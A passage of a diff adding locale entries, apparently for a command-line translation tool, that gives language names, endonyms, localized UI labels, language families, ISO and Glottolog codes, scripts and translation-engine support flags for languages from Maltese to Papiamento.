+Locale["mt"]["definitions-of"] = "Definizzjonijiet ta' %s" +Locale["mt"]["synonyms"] = "Sinonimi" +Locale["mt"]["examples"] = "Eżempji" +Locale["mt"]["see-also"] = "Ara wkoll" +Locale["mt"]["family"] = "Afro-Asiatic" +Locale["mt"]["iso"] = "mlt" +Locale["mt"]["glotto"] = "malt1254" +Locale["mt"]["script"] = "Latn" +Locale["mi"]["name"] = "Maori" +Locale["mi"]["endonym"] = "Māori" +Locale["mi"]["translations-of"] = "Ngā whakamāoritanga o %s" +Locale["mi"]["definitions-of"] = "Ngā whakamārama o %s" +Locale["mi"]["synonyms"] = "Ngā Kupu Taurite" +Locale["mi"]["examples"] = "Ngā Tauira:" +Locale["mi"]["see-also"] = "Tiro hoki:" +Locale["mi"]["family"] = "Austronesian" +Locale["mi"]["iso"] = "mri" +Locale["mi"]["glotto"] = "maor1246" +Locale["mi"]["script"] = "Latn" +Locale["mr"]["name"] = "Marathi" +Locale["mr"]["endonym"] = "मराठी" +Locale["mr"]["translations-of"] = "%s ची भाषांतरे" +Locale["mr"]["definitions-of"] = "%s च्या व्याख्या" +Locale["mr"]["synonyms"] = "समानार्थी शब्द" +Locale["mr"]["examples"] = "उदाहरणे" +Locale["mr"]["see-also"] = "हे देखील पहा" +Locale["mr"]["family"] = "Indo-European" +Locale["mr"]["iso"] = "mar" +Locale["mr"]["glotto"] = "mara1378" +Locale["mr"]["script"] = "Deva" +Locale["mn"]["name"] = "Mongolian" +Locale["mn"]["endonym"] = "Монгол" +Locale["mn"]["translations-of"] = "%s-н орчуулга" +Locale["mn"]["definitions-of"] = "%s үгийн тодорхойлолт" +Locale["mn"]["synonyms"] = "Ойролцоо утгатай" +Locale["mn"]["examples"] = "Жишээнүүд" +Locale["mn"]["see-also"] = "Мөн харах" +Locale["mn"]["family"] = "Mongolic" +Locale["mn"]["iso"] = "mon" +Locale["mn"]["glotto"] = "mong1331" +Locale["mn"]["script"] = "Cyrl" +Locale["my"]["name"] = "Myanmar" +Locale["my"]["endonym"] = "မြန်မာစာ" +Locale["my"]["translations-of"] = "%s၏ ဘာသာပြန်ဆိုချက်များ" +Locale["my"]["definitions-of"] = "%s၏ အနက်ဖွင့်ဆိုချက်များ" +Locale["my"]["synonyms"] = "ကြောင်းတူသံကွဲများ" +Locale["my"]["examples"] = "ဥပမာ" +Locale["my"]["see-also"] = "ဖော်ပြပါများကိုလဲ ကြည့်ပါ" +Locale["my"]["family"] = "Sino-Tibetan" +Locale["my"]["iso"] = "mya" +Locale["my"]["glotto"] = "nucl1310" +Locale["my"]["script"] = "Mymr" +Locale["ne"]["name"] = "Nepali" +Locale["ne"]["endonym"] = "नेपाली" +Locale["ne"]["translations-of"] = "%sका अनुवाद" +Locale["ne"]["definitions-of"] = "%sको परिभाषा" +Locale["ne"]["synonyms"] = "समानार्थीहरू" +Locale["ne"]["examples"] = "उदाहरणहरु" +Locale["ne"]["see-also"] = "यो पनि हेर्नुहोस्" +Locale["ne"]["family"] = "Indo-European" +Locale["ne"]["iso"] = "nep" +Locale["ne"]["glotto"] = "nepa1254" +Locale["ne"]["script"] = "Deva" +Locale["no"]["name"] = "Norwegian" +Locale["no"]["endonym"] = "Norsk" +Locale["no"]["translations-of"] = "Oversettelser av %s" +Locale["no"]["definitions-of"] = "Definisjoner av %s" +Locale["no"]["synonyms"] = "Synonymer" +Locale["no"]["examples"] = "Eksempler" +Locale["no"]["see-also"] = "Se også" +Locale["no"]["family"] = "Indo-European" +Locale["no"]["iso"] = "nor" +Locale["no"]["glotto"] = "norw1258" +Locale["no"]["script"] = "Latn" +Locale["ps"]["name"] = "Pashto" +Locale["ps"]["endonym"] = "پښتو" +Locale["ps"]["translations-of"] = "د %sژباړې" +Locale["ps"]["definitions-of"] = "د%s تعریفونه" +Locale["ps"]["synonyms"] = "مترادف لغتونه" +Locale["ps"]["examples"] = "بېلګې" +Locale["ps"]["see-also"] = "دا هم ووینئ" +Locale["ps"]["family"] = "Indo-European" +Locale["ps"]["iso"] = "pus" +Locale["ps"]["glotto"] = "pash1269" +Locale["ps"]["script"] = "Arab" +Locale["ps"]["rtl"] = "true" +Locale["fa"]["name"] = "Persian" +Locale["fa"]["endonym"] = "فارسی" +Locale["fa"]["translations-of"] = "ترجمه‌های %s" +Locale["fa"]["definitions-of"] = "تعریف‌های %s" +Locale["fa"]["synonyms"] = "مترادف‌ها" +Locale["fa"]["examples"] = "مثال‌ها" +Locale["fa"]["see-also"] = "همچنین مراجعه کنید به" +Locale["fa"]["family"] = "Indo-European" +Locale["fa"]["iso"] = "fas" +Locale["fa"]["glotto"] = "west2369" +Locale["fa"]["script"] = "Arab" +Locale["fa"]["rtl"] = "true" +Locale["pl"]["name"] = "Polish" +Locale["pl"]["endonym"] = "Polski" +Locale["pl"]["translations-of"] = "Tłumaczenia %s" +Locale["pl"]["definitions-of"] = "%s – definicje" +Locale["pl"]["synonyms"] = "Synonimy" +Locale["pl"]["examples"] = "Przykłady" +Locale["pl"]["see-also"] = "Zobacz też" +Locale["pl"]["family"] = "Indo-European" +Locale["pl"]["iso"] = "pol" +Locale["pl"]["glotto"] = "poli1260" +Locale["pl"]["script"] = "Latn" +Locale["pt"]["name"] = "Portuguese" +Locale["pt"]["endonym"] = "Português" +Locale["pt"]["translations-of"] = "Traduções de %s" +Locale["pt"]["definitions-of"] = "Definições de %s" +Locale["pt"]["synonyms"] = "Sinônimos" +Locale["pt"]["examples"] = "Exemplos" +Locale["pt"]["see-also"] = "Veja também" +Locale["pt"]["family"] = "Indo-European" +Locale["pt"]["iso"] = "por" +Locale["pt"]["glotto"] = "port1283" +Locale["pt"]["script"] = "Latn" +Locale["pt"]["dictionary"] = "true" +Locale["pa"]["name"] = "Punjabi" +Locale["pa"]["endonym"] = "ਪੰਜਾਬੀ" +Locale["pa"]["translations-of"] = "ਦੇ ਅਨੁਵਾਦ%s" +Locale["pa"]["definitions-of"] = "ਦੀਆਂ ਪਰਿਭਾਸ਼ਾ %s" +Locale["pa"]["synonyms"] = "ਸਮਾਨਾਰਥਕ ਸ਼ਬਦ" +Locale["pa"]["examples"] = "ਉਦਾਹਰਣਾਂ" +Locale["pa"]["see-also"] = "ਇਹ ਵੀ ਵੇਖੋ" +Locale["pa"]["family"] = "Indo-European" +Locale["pa"]["iso"] = "pan" +Locale["pa"]["glotto"] = "panj1256" +Locale["pa"]["script"] = "Guru" +Locale["ro"]["name"] = "Romanian" +Locale["ro"]["endonym"] = "Română" +Locale["ro"]["translations-of"] = "Traduceri pentru %s" +Locale["ro"]["definitions-of"] = "Definiții pentru %s" +Locale["ro"]["synonyms"] = "Sinonime" +Locale["ro"]["examples"] = "Exemple" +Locale["ro"]["see-also"] = "Vedeți și" +Locale["ro"]["family"] = "Indo-European" +Locale["ro"]["iso"] = "ron" +Locale["ro"]["glotto"] = "roma1327" +Locale["ro"]["script"] = "Latn" +Locale["ru"]["name"] = "Russian" +Locale["ru"]["endonym"] = "Русский" +Locale["ru"]["translations-of"] = "%s: варианты перевода" +Locale["ru"]["definitions-of"] = "%s – определения" +Locale["ru"]["synonyms"] = "Синонимы" +Locale["ru"]["examples"] = "Примеры" +Locale["ru"]["see-also"] = "Похожие слова" +Locale["ru"]["family"] = "Indo-European" +Locale["ru"]["iso"] = "rus" +Locale["ru"]["glotto"] = "russ1263" +Locale["ru"]["script"] = "Cyrl" +Locale["ru"]["dictionary"] = "true" +Locale["sm"]["name"] = "Samoan" +Locale["sm"]["endonym"] = "Gagana Sāmoa" +Locale["sm"]["family"] = "Austronesian" +Locale["sm"]["iso"] = "smo" +Locale["sm"]["glotto"] = "samo1305" +Locale["sm"]["script"] = "Latn" +Locale["gd"]["name"] = "Scots Gaelic" +Locale["gd"]["endonym"] = "Gàidhlig" +Locale["gd"]["translations-of"] = "Eadar-theangachadh airson %s" +Locale["gd"]["definitions-of"] = "Deifiniseanan airson %s" +Locale["gd"]["synonyms"] = "Co-fhaclan" +Locale["gd"]["examples"] = "Buill-eisimpleir" +Locale["gd"]["see-also"] = "Faic na leanas cuideachd" +Locale["gd"]["family"] = "Indo-European" +Locale["gd"]["iso"] = "gla" +Locale["gd"]["glotto"] = "scot1245" +Locale["gd"]["script"] = "Latn" +Locale["sr-Cyrl"]["name"] = "Serbian (Cyrillic)" +Locale["sr-Cyrl"]["endonym"] = "српски" +Locale["sr-Cyrl"]["translations-of"] = "Преводи за „%s“" +Locale["sr-Cyrl"]["definitions-of"] = "Дефиниције за %s" +Locale["sr-Cyrl"]["synonyms"] = "Синоними" +Locale["sr-Cyrl"]["examples"] = "Примери" +Locale["sr-Cyrl"]["see-also"] = "Погледајте такође" +Locale["sr-Cyrl"]["family"] = "Indo-European" +Locale["sr-Cyrl"]["iso"] = "srp-Cyrl" +Locale["sr-Cyrl"]["glotto"] = "serb1264" +Locale["sr-Cyrl"]["script"] = "Cyrl" +Locale["sr-Latn"]["name"] = "Serbian (Latin)" +Locale["sr-Latn"]["endonym"] = "srpski" +Locale["sr-Latn"]["translations-of"] = "Prevodi za „%s“" +Locale["sr-Latn"]["definitions-of"] = "Definicije za %s" +Locale["sr-Latn"]["synonyms"] = "Sinonimi" +Locale["sr-Latn"]["examples"] = "Primeri" +Locale["sr-Latn"]["see-also"] = "Pogledajte takođe" +Locale["sr-Latn"]["family"] = "Indo-European" +Locale["sr-Latn"]["iso"] = "srp-Latn" +Locale["sr-Latn"]["glotto"] = "serb1264" +Locale["sr-Latn"]["script"] = "Latn" +Locale["st"]["name"] = "Sesotho" +Locale["st"]["endonym"] = "Sesotho" +Locale["st"]["translations-of"] = "Liphetolelo tsa %s" +Locale["st"]["definitions-of"] = "Meelelo ea %s" +Locale["st"]["synonyms"] = "Mantsoe a tšoanang ka moelelo" +Locale["st"]["examples"] = "Mehlala" +Locale["st"]["see-also"] = "Bona hape" +Locale["st"]["family"] = "Atlantic-Congo" +Locale["st"]["iso"] = "sot" +Locale["st"]["glotto"] = "sout2807" +Locale["st"]["script"] = "Latn" +Locale["sn"]["name"] = "Shona" +Locale["sn"]["endonym"] = "chiShona" +Locale["sn"]["translations-of"] = "Shanduro dze %s" +Locale["sn"]["definitions-of"] = "Zvinoreva %s" +Locale["sn"]["synonyms"] = "Mashoko anoreva zvakafana nemamwe" +Locale["sn"]["examples"] = "Mienzaniso" +Locale["sn"]["see-also"] = "Onawo" +Locale["sn"]["family"] = "Atlantic-Congo" +Locale["sn"]["iso"] = "sna" +Locale["sn"]["glotto"] = "core1255" +Locale["sn"]["script"] = "Latn" +Locale["sd"]["name"] = "Sindhi" +Locale["sd"]["endonym"] = "سنڌي" +Locale["sd"]["translations-of"] = "%s جو ترجمو" +Locale["sd"]["definitions-of"] = "%s جون وصفون" +Locale["sd"]["synonyms"] = "هم معني" +Locale["sd"]["examples"] = "مثالون" +Locale["sd"]["see-also"] = "به ڏسو" +Locale["sd"]["family"] = "Indo-European" +Locale["sd"]["iso"] = "snd" +Locale["sd"]["glotto"] = "sind1272" +Locale["sd"]["script"] = "Arab" +Locale["sd"]["rtl"] = "true" +Locale["si"]["name"] = "Sinhala" +Locale["si"]["endonym"] = "සිංහල" +Locale["si"]["translations-of"] = "%s හි පරිවර්තන" +Locale["si"]["definitions-of"] = "%s හි නිර්වචන" +Locale["si"]["synonyms"] = "සමානාර්ථ පද" +Locale["si"]["examples"] = "උදාහරණ" +Locale["si"]["see-also"] = "මෙයත් බලන්න" +Locale["si"]["family"] = "Indo-European" +Locale["si"]["iso"] = "sin" +Locale["si"]["glotto"] = "sinh1246" +Locale["si"]["script"] = "Sinh" +Locale["sk"]["name"] = "Slovak" +Locale["sk"]["endonym"] = "Slovenčina" +Locale["sk"]["translations-of"] = "Preklady výrazu: %s" +Locale["sk"]["definitions-of"] = "Definície výrazu %s" +Locale["sk"]["synonyms"] = "Synonymá" +Locale["sk"]["examples"] = "Príklady" +Locale["sk"]["see-also"] = "Pozrite tiež" +Locale["sk"]["family"] = "Indo-European" +Locale["sk"]["iso"] = "slk" +Locale["sk"]["glotto"] = "slov1269" +Locale["sk"]["script"] = "Latn" +Locale["sl"]["name"] = "Slovenian" +Locale["sl"]["endonym"] = "Slovenščina" +Locale["sl"]["translations-of"] = "Prevodi za %s" +Locale["sl"]["definitions-of"] = "Razlage za %s" +Locale["sl"]["synonyms"] = "Sopomenke" +Locale["sl"]["examples"] = "Primeri" +Locale["sl"]["see-also"] = "Glejte tudi" +Locale["sl"]["family"] = "Indo-European" +Locale["sl"]["iso"] = "slv" +Locale["sl"]["glotto"] = "slov1268" +Locale["sl"]["script"] = "Latn" +Locale["so"]["name"] = "Somali" +Locale["so"]["endonym"] = "Soomaali" +Locale["so"]["translations-of"] = "Turjumaada %s" +Locale["so"]["definitions-of"] = "Qeexitaannada %s" +Locale["so"]["synonyms"] = "La micne ah" +Locale["so"]["examples"] = "Tusaalooyin" +Locale["so"]["see-also"] = "Sidoo kale eeg" +Locale["so"]["family"] = "Afro-Asiatic" +Locale["so"]["iso"] = "som" +Locale["so"]["glotto"] = "soma1255" +Locale["so"]["script"] = "Latn" +Locale["es"]["name"] = "Spanish" +Locale["es"]["endonym"] = "Español" +Locale["es"]["translations-of"] = "Traducciones de %s" +Locale["es"]["definitions-of"] = "Definiciones de %s" +Locale["es"]["synonyms"] = "Sinónimos" +Locale["es"]["examples"] = "Ejemplos" +Locale["es"]["see-also"] = "Ver también" +Locale["es"]["family"] = "Indo-European" +Locale["es"]["iso"] = "spa" +Locale["es"]["glotto"] = "stan1288" +Locale["es"]["script"] = "Latn" +Locale["es"]["dictionary"] = "true" +Locale["su"]["name"] = "Sundanese" +Locale["su"]["endonym"] = "Basa Sunda" +Locale["su"]["translations-of"] = "Tarjamahan tina %s" +Locale["su"]["definitions-of"] = "Panjelasan tina %s" +Locale["su"]["synonyms"] = "Sinonim" +Locale["su"]["examples"] = "Conto" +Locale["su"]["see-also"] = "Tingali ogé" +Locale["su"]["family"] = "Austronesian" +Locale["su"]["iso"] = "sun" +Locale["su"]["glotto"] = "sund1252" +Locale["su"]["script"] = "Latn" +Locale["sw"]["name"] = "Swahili" +Locale["sw"]["endonym"] = "Kiswahili" +Locale["sw"]["translations-of"] = "Tafsiri ya %s" +Locale["sw"]["definitions-of"] = "Ufafanuzi wa %s" +Locale["sw"]["synonyms"] = "Visawe" +Locale["sw"]["examples"] = "Mifano" +Locale["sw"]["see-also"] = "Angalia pia" +Locale["sw"]["family"] = "Atlantic-Congo" +Locale["sw"]["iso"] = "swa" +Locale["sw"]["glotto"] = "swah1253" +Locale["sw"]["script"] = "Latn" +Locale["sv"]["name"] = "Swedish" +Locale["sv"]["endonym"] = "Svenska" +Locale["sv"]["translations-of"] = "Översättningar av %s" +Locale["sv"]["definitions-of"] = "Definitioner av %s" +Locale["sv"]["synonyms"] = "Synonymer" +Locale["sv"]["examples"] = "Exempel" +Locale["sv"]["see-also"] = "Se även" +Locale["sv"]["family"] = "Indo-European" +Locale["sv"]["iso"] = "swe" +Locale["sv"]["glotto"] = "swed1254" +Locale["sv"]["script"] = "Latn" +Locale["tg"]["name"] = "Tajik" +Locale["tg"]["endonym"] = "Тоҷикӣ" +Locale["tg"]["translations-of"] = "Тарҷумаҳои %s" +Locale["tg"]["definitions-of"] = "Таърифҳои %s" +Locale["tg"]["synonyms"] = "Муродифҳо" +Locale["tg"]["examples"] = "Намунаҳо:" +Locale["tg"]["see-also"] = "Ҳамчунин Бинед" +Locale["tg"]["family"] = "Indo-European" +Locale["tg"]["iso"] = "tgk" +Locale["tg"]["glotto"] = "taji1245" +Locale["tg"]["script"] = "Cyrl" +Locale["ta"]["name"] = "Tamil" +Locale["ta"]["endonym"] = "தமிழ்" +Locale["ta"]["translations-of"] = "%s இன் மொழிபெயர்ப்புகள்" +Locale["ta"]["definitions-of"] = "%s இன் வரையறைகள்" +Locale["ta"]["synonyms"] = "இணைச்சொற்கள்" +Locale["ta"]["examples"] = "எடுத்துக்காட்டுகள்" +Locale["ta"]["see-also"] = "இதையும் காண்க" +Locale["ta"]["family"] = "Dravidian" +Locale["ta"]["iso"] = "tam" +Locale["ta"]["glotto"] = "tami1289" +Locale["ta"]["script"] = "Taml" +Locale["te"]["name"] = "Telugu" +Locale["te"]["endonym"] = "తెలుగు" +Locale["te"]["translations-of"] = "%s యొక్క అనువాదాలు" +Locale["te"]["definitions-of"] = "%s యొక్క నిర్వచనాలు" +Locale["te"]["synonyms"] = "పర్యాయపదాలు" +Locale["te"]["examples"] = "ఉదాహరణలు" +Locale["te"]["see-also"] = "వీటిని కూడా చూడండి" +Locale["te"]["family"] = "Dravidian" +Locale["te"]["iso"] = "tel" +Locale["te"]["glotto"] = "telu1262" +Locale["te"]["script"] = "Telu" +Locale["th"]["name"] = "Thai" +Locale["th"]["endonym"] = "ไทย" +Locale["th"]["translations-of"] = "คำแปลของ %s" +Locale["th"]["definitions-of"] = "คำจำกัดความของ %s" +Locale["th"]["synonyms"] = "คำพ้องความหมาย" +Locale["th"]["examples"] = "ตัวอย่าง" +Locale["th"]["see-also"] = "ดูเพิ่มเติม" +Locale["th"]["family"] = "Tai-Kadai" +Locale["th"]["iso"] = "tha" +Locale["th"]["glotto"] = "thai1261" +Locale["th"]["script"] = "Thai" +Locale["tr"]["name"] = "Turkish" +Locale["tr"]["endonym"] = "Türkçe" +Locale["tr"]["translations-of"] = "%s çevirileri" +Locale["tr"]["definitions-of"] = "%s için tanımlar" +Locale["tr"]["synonyms"] = "Eş anlamlılar" +Locale["tr"]["examples"] = "Örnekler" +Locale["tr"]["see-also"] = "Ayrıca bkz." +Locale["tr"]["family"] = "Turkic" +Locale["tr"]["iso"] = "tur" +Locale["tr"]["glotto"] = "nucl1301" +Locale["tr"]["script"] = "Latn" +Locale["uk"]["name"] = "Ukrainian" +Locale["uk"]["endonym"] = "Українська" +Locale["uk"]["translations-of"] = "Переклади слова або виразу \"%s\"" +Locale["uk"]["definitions-of"] = "\"%s\" – визначення" +Locale["uk"]["synonyms"] = "Синоніми" +Locale["uk"]["examples"] = "Приклади" +Locale["uk"]["see-also"] = "Дивіться також" +Locale["uk"]["family"] = "Indo-European" +Locale["uk"]["iso"] = "ukr" +Locale["uk"]["glotto"] = "ukra1253" +Locale["uk"]["script"] = "Cyrl" +Locale["ur"]["name"] = "Urdu" +Locale["ur"]["endonym"] = "اُردُو" +Locale["ur"]["translations-of"] = "کے ترجمے %s" +Locale["ur"]["definitions-of"] = "کی تعریفات %s" +Locale["ur"]["synonyms"] = "مترادفات" +Locale["ur"]["examples"] = "مثالیں" +Locale["ur"]["see-also"] = "نیز دیکھیں" +Locale["ur"]["family"] = "Indo-European" +Locale["ur"]["iso"] = "urd" +Locale["ur"]["glotto"] = "urdu1245" +Locale["ur"]["script"] = "Arab" +Locale["ur"]["rtl"] = "true" +Locale["uz"]["name"] = "Uzbek" +Locale["uz"]["endonym"] = "Oʻzbek tili" +Locale["uz"]["translations-of"] = "%s: tarjima variantlari" +Locale["uz"]["definitions-of"] = "%s – ta’riflar" +Locale["uz"]["synonyms"] = "Sinonimlar" +Locale["uz"]["examples"] = "Namunalar" +Locale["uz"]["see-also"] = "O‘xshash so‘zlar" +Locale["uz"]["family"] = "Turkic" +Locale["uz"]["iso"] = "uzb" +Locale["uz"]["glotto"] = "uzbe1247" +Locale["uz"]["script"] = "Latn" +Locale["vi"]["name"] = "Vietnamese" +Locale["vi"]["endonym"] = "Tiếng Việt" +Locale["vi"]["translations-of"] = "Bản dịch của %s" +Locale["vi"]["definitions-of"] = "Nghĩa của %s" +Locale["vi"]["synonyms"] = "Từ đồng nghĩa" +Locale["vi"]["examples"] = "Ví dụ" +Locale["vi"]["see-also"] = "Xem thêm" +Locale["vi"]["family"] = "Austroasiatic" +Locale["vi"]["iso"] = "vie" +Locale["vi"]["glotto"] = "viet1252" +Locale["vi"]["script"] = "Latn" +Locale["cy"]["name"] = "Welsh" +Locale["cy"]["endonym"] = "Cymraeg" +Locale["cy"]["translations-of"] = "Cyfieithiadau %s" +Locale["cy"]["definitions-of"] = "Diffiniadau %s" +Locale["cy"]["synonyms"] = "Cyfystyron" +Locale["cy"]["examples"] = "Enghreifftiau" +Locale["cy"]["see-also"] = "Gweler hefyd" +Locale["cy"]["family"] = "Indo-European" +Locale["cy"]["iso"] = "cym" +Locale["cy"]["glotto"] = "wels1247" +Locale["cy"]["script"] = "Latn" +Locale["fy"]["name"] = "Frisian" +Locale["fy"]["endonym"] = "Frysk" +Locale["fy"]["translations-of"] = "Oersettings fan %s" +Locale["fy"]["definitions-of"] = "Definysjes fan %s" +Locale["fy"]["synonyms"] = "Synonimen" +Locale["fy"]["examples"] = "Foarbylden" +Locale["fy"]["see-also"] = "Sjoch ek" +Locale["fy"]["family"] = "Indo-European" +Locale["fy"]["iso"] = "fry" +Locale["fy"]["glotto"] = "west2354" +Locale["fy"]["script"] = "Latn" +Locale["xh"]["name"] = "Xhosa" +Locale["xh"]["endonym"] = "isiXhosa" +Locale["xh"]["translations-of"] = "Iinguqulelo zika-%s" +Locale["xh"]["definitions-of"] = "Iingcaciso zika-%s" +Locale["xh"]["synonyms"] = "Izithethantonye" +Locale["xh"]["examples"] = "Imizekelo" +Locale["xh"]["see-also"] = "Kwakhona bona" +Locale["xh"]["family"] = "Atlantic-Congo" +Locale["xh"]["iso"] = "xho" +Locale["xh"]["glotto"] = "xhos1239" +Locale["xh"]["script"] = "Latn" +Locale["yi"]["name"] = "Yiddish" +Locale["yi"]["endonym"] = "ייִדיש" +Locale["yi"]["translations-of"] = "איבערזעצונגען פון %s" +Locale["yi"]["definitions-of"] = "דפיניציונען %s" +Locale["yi"]["synonyms"] = "סינאָנימען" +Locale["yi"]["examples"] = "ביישפילע" +Locale["yi"]["see-also"] = "זייען אויך" +Locale["yi"]["family"] = "Indo-European" +Locale["yi"]["iso"] = "yid" +Locale["yi"]["glotto"] = "yidd1255" +Locale["yi"]["script"] = "Hebr" +Locale["yi"]["rtl"] = "true" +Locale["yo"]["name"] = "Yoruba" +Locale["yo"]["endonym"] = "Yorùbá" +Locale["yo"]["translations-of"] = "Awọn itumọ ti %s" +Locale["yo"]["definitions-of"] = "Awọn itumọ ti %s" +Locale["yo"]["synonyms"] = "Awọn ọrọ onitumọ" +Locale["yo"]["examples"] = "Awọn apẹrẹ" +Locale["yo"]["see-also"] = "Tun wo" +Locale["yo"]["family"] = "Atlantic-Congo" +Locale["yo"]["iso"] = "yor" +Locale["yo"]["glotto"] = "yoru1245" +Locale["yo"]["script"] = "Latn" +Locale["zu"]["name"] = "Zulu" +Locale["zu"]["endonym"] = "isiZulu" +Locale["zu"]["translations-of"] = "Ukuhumusha i-%s" +Locale["zu"]["definitions-of"] = "Izincazelo ze-%s" +Locale["zu"]["synonyms"] = "Amagama afanayo" +Locale["zu"]["examples"] = "Izibonelo" +Locale["zu"]["see-also"] = "Bheka futhi" +Locale["zu"]["family"] = "Atlantic-Congo" +Locale["zu"]["iso"] = "zul" +Locale["zu"]["glotto"] = "zulu1248" +Locale["zu"]["script"] = "Latn" +Locale["yue"]["support"] = "bing-only" +Locale["yue"]["name"] = "Cantonese" +Locale["yue"]["endonym"] = "粵語" +Locale["yue"]["family"] = "Sino-Tibetan" +Locale["yue"]["iso"] = "yue" +Locale["yue"]["glotto"] = "cant1236" +Locale["yue"]["script"] = "Hant" +Locale["fj"]["support"] = "bing-only" +Locale["fj"]["name"] = "Fijian" +Locale["fj"]["endonym"] = "Vosa Vakaviti" +Locale["fj"]["family"] = "Austronesian" +Locale["fj"]["iso"] = "fij" +Locale["fj"]["glotto"] = "fiji1243" +Locale["fj"]["script"] = "Latn" +Locale["mww"]["support"] = "bing-only" +Locale["mww"]["name"] = "Hmong Daw" +Locale["mww"]["endonym"] = "Hmoob Daw" +Locale["mww"]["family"] = "Hmong-Mien" +Locale["mww"]["iso"] = "mww" +Locale["mww"]["glotto"] = "hmon1333" +Locale["mww"]["script"] = "Latn" +Locale["otq"]["support"] = "bing-only" +Locale["otq"]["name"] = "Querétaro Otomi" +Locale["otq"]["endonym"] = "Hñąñho" +Locale["otq"]["family"] = "Oto-Manguean" +Locale["otq"]["iso"] = "otq" +Locale["otq"]["glotto"] = "quer1236" +Locale["otq"]["script"] = "Latn" +Locale["ty"]["support"] = "bing-only" +Locale["ty"]["name"] = "Tahitian" +Locale["ty"]["endonym"] = "Reo Tahiti" +Locale["ty"]["family"] = "Austronesian" +Locale["ty"]["iso"] = "tah" +Locale["ty"]["glotto"] = "tahi1242" +Locale["ty"]["script"] = "Latn" +Locale["to"]["support"] = "bing-only" +Locale["to"]["name"] = "Tongan" +Locale["to"]["endonym"] = "Lea faka-Tonga" +Locale["to"]["family"] = "Austronesian" +Locale["to"]["iso"] = "ton" +Locale["to"]["glotto"] = "tong1325" +Locale["to"]["script"] = "Latn" +Locale["yua"]["support"] = "bing-only" +Locale["yua"]["name"] = "Yucatec Maya" +Locale["yua"]["endonym"] = "Màaya T'àan" +Locale["yua"]["family"] = "Mayan" +Locale["yua"]["iso"] = "yua" +Locale["yua"]["glotto"] = "yuca1254" +Locale["yua"]["script"] = "Latn" +Locale["tlh"]["support"] = "bing-only" +Locale["tlh"]["name"] = "Klingon" +Locale["tlh"]["endonym"] = "tlhIngan Hol" +Locale["tlh"]["family"] = "Artificial Language" +Locale["tlh"]["iso"] = "tlh" +Locale["tlh"]["script"] = "Latn" +Locale["tlh-Qaak"]["support"] = "bing-only" +Locale["tlh-Qaak"]["name"] = "Klingon (pIqaD)" +Locale["tlh-Qaak"]["endonym"] = " " +Locale["tlh-Qaak"]["family"] = "Artificial Language" +Locale["tlh-Qaak"]["iso"] = "tlh" +Locale["tlh-Qaak"]["script"] = "Piqd" +Locale["as"]["support"] = "unstable" +Locale["as"]["name"] = "Assamese" +Locale["as"]["endonym"] = "অসমীয়া" +Locale["as"]["family"] = "Indo-European" +Locale["as"]["iso"] = "asm" +Locale["as"]["glotto"] = "assa1263" +Locale["as"]["script"] = "Beng" +Locale["ba"]["support"] = "yandex-only" +Locale["ba"]["name"] = "Bashkir" +Locale["ba"]["endonym"] = "башҡорт теле" +Locale["ba"]["family"] = "Turkic" +Locale["ba"]["iso"] = "bak" +Locale["ba"]["glotto"] = "bash1264" +Locale["ba"]["script"] = "Cyrl" +Locale["br"]["support"] = "unstable" +Locale["br"]["name"] = "Breton" +Locale["br"]["endonym"] = "Brezhoneg" +Locale["br"]["family"] = "Indo-European" +Locale["br"]["iso"] = "bre" +Locale["br"]["glotto"] = "bret1244" +Locale["br"]["script"] = "Latn" +Locale["dz"]["support"] = "unstable" +Locale["dz"]["name"] = "Dzongkha" +Locale["dz"]["endonym"] = "རྫོང་ཁ" +Locale["dz"]["family"] = "Sino-Tibetan" +Locale["dz"]["iso"] = "dzo" +Locale["dz"]["glotto"] = "nucl1307" +Locale["dz"]["script"] = "Tibt" +Locale["mhr"]["support"] = "yandex-only" +Locale["mhr"]["name"] = "Eastern Mari" +Locale["mhr"]["endonym"] = "Олык марий" +Locale["mhr"]["family"] = "Uralic" +Locale["mhr"]["iso"] = "mhr" +Locale["mhr"]["glotto"] = "east2328" +Locale["mhr"]["script"] = "Cyrl" +Locale["fo"]["support"] = "unstable" +Locale["fo"]["name"] = "Faroese" +Locale["fo"]["endonym"] = "Føroyskt" +Locale["fo"]["family"] = "Indo-European" +Locale["fo"]["iso"] = "fao" +Locale["fo"]["glotto"] = "faro1244" +Locale["fo"]["script"] = "Latn" +Locale["gn"]["support"] = "unstable" +Locale["gn"]["name"] = "Guarani" +Locale["gn"]["endonym"] = "Avañe'ẽ" +Locale["gn"]["family"] = "Tupian" +Locale["gn"]["iso"] = "grn" +Locale["gn"]["glotto"] = "para1311" +Locale["gn"]["script"] = "Latn" +Locale["mrj"]["support"] = "yandex-only" +Locale["mrj"]["name"] = "Hill Mari" +Locale["mrj"]["endonym"] = "Кырык мары" +Locale["mrj"]["family"] = "Uralic" +Locale["mrj"]["iso"] = "mrj" +Locale["mrj"]["glotto"] = "west2392" +Locale["mrj"]["script"] = "Cyrl" +Locale["ie"]["support"] = "unstable" +Locale["ie"]["name"] = "Interlingue" +Locale["ie"]["endonym"] = "Interlingue" +Locale["ie"]["family"] = "Artificial Language" +Locale["ie"]["iso"] = "ile" +Locale["ie"]["glotto"] = "occi1241" +Locale["ie"]["script"] = "Latn" +Locale["rw"]["support"] = "unstable" +Locale["rw"]["name"] = "Kinyarwanda" +Locale["rw"]["endonym"] = "Ikinyarwanda" +Locale["rw"]["family"] = "Atlantic-Congo" +Locale["rw"]["iso"] = "kin" +Locale["rw"]["glotto"] = "kiny1244" +Locale["rw"]["script"] = "Latn" +Locale["oc"]["support"] = "unstable" +Locale["oc"]["name"] = "Occitan" +Locale["oc"]["endonym"] = "Occitan" +Locale["oc"]["family"] = "Indo-European" +Locale["oc"]["iso"] = "oci" +Locale["oc"]["glotto"] = "occi1239" +Locale["oc"]["script"] = "Latn" +Locale["om"]["support"] = "unstable" +Locale["om"]["name"] = "Oromo" +Locale["om"]["endonym"] = "Afaan Oromoo" +Locale["om"]["family"] = "Afro-Asiatic" +Locale["om"]["iso"] = "orm" +Locale["om"]["glotto"] = "nucl1736" +Locale["om"]["script"] = "Latn" +Locale["or"]["support"] = "unstable" +Locale["or"]["name"] = "Oriya" +Locale["or"]["endonym"] = "ଓଡ଼ିଆ" +Locale["or"]["family"] = "Indo-European" +Locale["or"]["iso"] = "ori" +Locale["or"]["glotto"] = "macr1269" +Locale["or"]["script"] = "Orya" +Locale["pap"]["support"] = "yandex-only" +Locale["pap"]["name"] = "Papiamento" +Locale["pap"]["endonym"] = "Papiamentu" +Locale["pap"]["family"] = "Indo-European" +Locale["pap"]["iso"] = "pap" +Locale["pap"]["glotto"] = 